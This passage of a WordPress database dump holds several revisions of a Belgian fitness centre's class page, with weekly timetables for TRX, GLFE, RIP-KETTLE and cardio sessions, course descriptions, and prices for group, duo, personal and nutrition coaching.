class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-10-05 08:39:04', '2013-10-05 08:39:04', '', 11, 'http://www.crosstrainingcenter.be/11-revision-117/', 0, 'revision', '', 0),
(345, 1, '2013-10-05 08:37:45', '2013-10-05 08:37:45', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&lt;br&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;18h&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;17h30&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;18h&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;17h30&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;17h30&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;17h30&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;11h&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;18h30&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;18h15&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;18h30&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;18h15&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;18h15&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;11h30&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;11h30&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;12h&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;12h&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h45&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h30&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h45&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h15&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h45&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;br&gt;\r\n\r\n\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-10-05 08:37:45', '2013-10-05 08:37:45', '', 11, 'http://www.crosstrainingcenter.be/11-revision-116/', 0, 'revision', '', 0),
(349, 1, '2013-10-05 08:49:46', '2013-10-05 08:49:46', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&lt;br&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;br&gt;\r\n\r\n\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td 